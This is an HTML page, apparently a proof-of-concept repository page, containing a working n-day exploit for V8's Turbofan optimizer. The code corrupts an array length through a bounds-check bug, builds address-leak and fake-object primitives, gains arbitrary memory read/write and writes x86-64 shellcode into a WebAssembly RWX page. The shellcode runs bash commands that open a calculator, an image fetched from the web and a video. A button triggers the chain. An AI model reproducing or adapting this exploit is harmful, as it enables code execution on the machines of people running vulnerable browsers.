README.md
Rendering markdown...
<script src="./int64.js"></script>
<script>
//load("int64.js")
// Use console.log instead of print
let print = (x) => {
console.log(x);
}
/*
* In this function we use the length of the arguments to calculate the number 1.
* Turbofan thinks arguments are limited to a smaller number, so it will optimize
* out the bounds checks based on our number, giving us oob read/write
*/
//load("int64.js")
function exploit_nday(){
function opt(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a2 = new Array(2);
a3 = new Array(2);
a2[0] = 1.1;
a2[1] = 1.1;
// The distance form the a1 FixedArray of elements and the a2 array is 24, +3 to reach the size
a1[(x >> 16) * 27] = 1.39064994160909e-309; // 0xffff00000000 --> 65535 0xffff as SMI
}
function opt_leak_map(){
// This one is used to leak Array Buffer Map after GC
let x = arguments.length;
a1 = new Array(0x10);
a2 = new Array(2);
a3 = new Array(2);
a2[0] = 1.1;
a2[1] = 1.1;
// The distance form the a1 FixedArray of elements and the a2 array is 24, +3 to reach the size
a1[(x >> 16) * 27] = 1.39064994160909e-309; // 0xffff00000000 --> 65535 0xffff as SMI
}
function addr_of(t_obj){
a3[0] = t_obj
return Int64.from_double(a2[8])
}
function obj_at_addr(addr){
a2[8] = addr.to_double()
return a3[0]
}
function leak_array_buffer(){
// This is where we have the Map of ArrayBuffer after GC
// GC is not so trusty, things can be allocated differntly sometimes in Old Space
// So instead search for our 1337 length, and check that the 2 values before are the same (empty Property andElement FixedArray)
for(let i = 0; i < 2000; i++){
value = Int64.from_double(a2[i])
//print(i + " : " + value)
if (value == "0x0000000000000539"){
print("ArrayBuffer length found at index" + i)
// Length found, to be sure check that the previous are empty FixedArray
// Just a paranioc stuff, cuz 539 is not SMI, so any other occurences shoud be done
if (a2[i-1] == a2[i-2]){
print("There are 2 Empty FixedArray, it is out ArrayBuffer! Let's grab the Map*")
return [Int64.from_double(a2[i-3]), Int64.from_double(a2[i-1])]
}
}
}
return false
}
function read(address){
// read to address
// address should be an Int64("0x41")
print("Reading at " + address);
holder.back = address.to_double()
let n = new Uint32Array(fake)
let leak = new Int64(0, n[1], n[0]);
return leak;
}
function write(to_address, value){
// write to address
// address should be an Int64("0x41")
print("Writing " + value + " into " +to_address);
holder.back = to_address.to_double()
let n = new Uint32Array(fake)
n[0] = value.low
n[1] = value.high
return read(to_address);
}
function write_shellcode(to_address, shellcode){
// Writing shellcode
print("Writing shellcode @" + to_address);
holder.back = to_address.to_double()
let n = new Uint8Array(fake)
print("Space for the shellcode: " + n.length)
n.set(SHELLCODE)
return true
}
var a1, a2;
let small = [1.1];
let large = [1.1,1.1];
large.length = 65536;
large.fill(1.1);
for (let j = 0; j< 100000; j++) {
opt.apply(null, small);
}
// Trigger bug
//opt.apply(null, large);
print("a2 length is " + a2.length)
print("Corrupting a2 length ..")
opt.apply(null, large)
print("Now the a2 length is: " + a2.length)
// Create a fake object that will be used as an ArrayBuffer to R/W primitives
/* Example of an ArrayBuffer
pwndbg> x/12xg 0x3f3d7d6102f9-1
0x3f3d7d6102f8: 0x000008f20b904461 0x00002a81db502cf1
0x3f3d7d610308: 0x00002a81db502cf1 0x0000000000000010
0x3f3d7d610318: 0x000055bb9bc03c20 0x0000000000000002
0x3f3d7d610328: 0x0000000000000000 0x0000000000000000
*/
// first we need to leak the Map*
// xxx is the buffer we want to use to achieve RW
let xxx = new ArrayBuffer(1337);
// Trigger GC in order to put our ArrayBuffer in OldSpace
print("Triggering Garbage Collector to put our Array Buffer in Old Space")
for(i = 0; i < 1500; i++) new ArrayBuffer(1024);
// Create a fake object that will be used as an ArrayBuffer to R/W primitives
/* Example of an ArrayBuffer
pwndbg> x/12xg 0x3f3d7d6102f9-1
0x3f3d7d6102f8: 0x000008f20b904461 0x00002a81db502cf1
0x3f3d7d610308: 0x00002a81db502cf1 0x0000000000000010
0x3f3d7d610318: 0x000055bb9bc03c20 0x0000000000000002
0x3f3d7d610328: 0x0000000000000000 0x0000000000000000
*/
let ab = leak_array_buffer()
let leaked_map = ab[0]
let leaked_fixed = ab[1]
print("Leaked map: " +leaked_map)
if(leaked_map === undefined || leaked_fixed === undefined){
throw("ArrayBuffer is not after a2 in Old Space. Exploitation failed")
}
let holder = {
map: leaked_map.to_double(), // Map*
prop: leaked_fixed.to_double(), // Prop*
elem: leaked_fixed.to_double(), // Elem*
len: new Int64("0x1000").to_double(), // Byte Length
back: new Int64("0x414141414141").to_double(), // Backing pointer
field: new Int64("0x2").to_double(), // Bit field flags
field2: new Int64("0x0").to_double() // Embedder Field
}
// Get the address of our holder
let holder_adr = addr_of(holder)
print("holder @"+holder_adr)
print("Fake Object @"+holder_adr)
let fake_addr = holder_adr.add(0x18)
fake = obj_at_addr(fake_addr);
if(holder_adr === "0x0000000000000000")
trhow("Failed to leak holder address from addr_of. Exploitation failed")
// Testing R/W at known address
/*
let tmp = new Int64("0x4141414141414141")
print(read(leaked_fixed))
write(leaked_fixed, tmp)
print(read(leaked_fixed))
*/
print("Creating a WASM that will create RWX memory")
// https://wasdk.github.io/WasmFiddle/
// The WASM code will be never executed, it will be replaced with out shellcode
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
//var wasm_code = new Uint8Array([0x0, 0x61, 0x73,, 41, 41]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
// Now we want to leak the WASM RWX address
// From GDB we see that there is a pointer to the Starting mapped RWX memory at WASMInstance + 0xF0 (240)
let wasm_addr = addr_of(wasm_instance)
let wasm_rwx_addr = read(wasm_addr.sub(1).add(0xf0))
print("WASMInstace @" + wasm_addr)
print("WASM RWX page @" + wasm_rwx_addr);
let SHELLCODE = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 44, 98, 1, 1, 129, 52, 36, 1, 1, 1, 1, 73, 137, 224, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 39, 33, 101, 110, 111, 100, 38, 1, 72, 49, 4, 36, 72, 184, 104, 111, 116, 46, 112, 110, 103, 41, 80, 72, 184, 95, 115, 99, 114, 101, 101, 110, 115, 80, 72, 184, 101, 99, 114, 121, 112, 116, 48, 114, 80, 72, 184, 56, 47, 87, 97, 110, 97, 95, 68, 80, 72, 184, 97, 47, 101, 110, 47, 49, 47, 49, 80, 72, 184, 119, 105, 107, 105, 112, 101, 100, 105, 80, 72, 184, 100, 105, 97, 46, 111, 114, 103, 47, 80, 72, 184, 100, 46, 119, 105, 107, 105, 109, 101, 80, 72, 184, 58, 47, 47, 117, 112, 108, 111, 97, 80, 72, 184, 45, 70, 32, 104, 116, 116, 112, 115, 80, 72, 184, 58, 36, 100, 32, 102, 101, 104, 32, 80, 72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 72, 184, 119, 104, 111, 97, 109, 105, 41, 32, 80, 72, 184, 47, 104, 111, 109, 101, 47, 36, 40, 80, 72, 184, 110, 118, 32, 72, 79, 77, 69, 61, 80, 72, 184, 101, 101, 112, 32, 53, 59, 32, 101, 80, 72, 184, 116, 111, 114, 32, 38, 32, 115, 108, 80, 72, 184, 45, 99, 97, 108, 99, 117, 108, 97, 80, 72, 184, 105, 110, 47, 103, 110, 111, 109, 101, 80, 72, 184, 100, 32, 47, 117, 115, 114, 47, 98, 80, 72, 184, 83, 80, 76, 65, 89, 61, 58, 36, 80, 72, 184, 111, 97, 109, 105, 41, 32, 68, 73, 80, 72, 184, 111, 109, 101, 47, 36, 40, 119, 104, 80, 72, 184, 32, 72, 79, 77, 69, 61, 47, 104, 80, 72, 184, 32, 100, 111, 32, 40, 101, 110, 118, 80, 72, 184, 123, 48, 46, 46, 49, 53, 125, 59, 80, 72, 184, 111, 114, 32, 100, 32, 105, 110, 32, 80, 72, 184, 115, 104, 32, 45, 99, 32, 39, 102, 80, 72, 184, 32, 47, 98, 105, 110, 47, 98, 97, 80, 73, 137, 225, 106, 1, 254, 12, 36, 65, 81, 65, 80, 87, 106, 59, 88, 72, 137, 230, 153, 15, 5]
// Runza exploit
SHELLCODE = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 104, 44, 98, 1, 1, 129, 52, 36, 1, 1, 1, 1, 73, 137, 224, 106, 1, 254, 12, 36, 72, 184, 32, 38, 32, 100, 111, 110, 101, 39, 80, 72, 184, 110, 122, 97, 46, 109, 112, 52, 41, 80, 72, 184, 118, 108, 99, 32, 126, 47, 114, 117, 80, 72, 184, 76, 65, 89, 61, 58, 36, 100, 32, 80, 72, 184, 109, 105, 41, 32, 68, 73, 83, 80, 80, 72, 184, 101, 47, 36, 40, 119, 104, 111, 97, 80, 72, 184, 79, 77, 69, 61, 47, 104, 111, 109, 80, 72, 184, 50, 59, 32, 101, 110, 118, 32, 72, 80, 72, 184, 38, 32, 115, 108, 101, 101, 112, 32, 80, 72, 184, 122, 101, 98, 46, 106, 112, 103, 32, 80, 72, 184, 100, 32, 102, 101, 104, 32, 126, 47, 80, 72, 184, 83, 80, 76, 65, 89, 61, 58, 36, 80, 72, 184, 111, 97, 109, 105, 41, 32, 68, 73, 80, 72, 184, 111, 109, 101, 47, 36, 40, 119, 104, 80, 72, 184, 32, 72, 79, 77, 69, 61, 47, 104, 80, 72, 184, 32, 100, 111, 32, 40, 101, 110, 118, 80, 72, 184, 123, 48, 46, 46, 49, 53, 125, 59, 80, 72, 184, 111, 114, 32, 100, 32, 105, 110, 32, 80, 72, 184, 115, 104, 32, 45, 99, 32, 39, 102, 80, 72, 184, 32, 47, 98, 105, 110, 47, 98, 97, 80, 73, 137, 225, 106, 1, 254, 12, 36, 65, 81, 65, 80, 87, 106, 59, 88, 72, 137, 230, 153, 15, 5]
//SHELLCODE = [0xcc, 0xcc, 0xcc, 0xcc]
print("Writing shellcode to WASM RWX page")
print("Shellcode length: " +SHELLCODE.length)
write_shellcode(wasm_rwx_addr, SHELLCODE)
print("Shellcode done, triggering the calc")
f()
}
</script>
<button onclick="exploit_nday()">Click for exploit</button>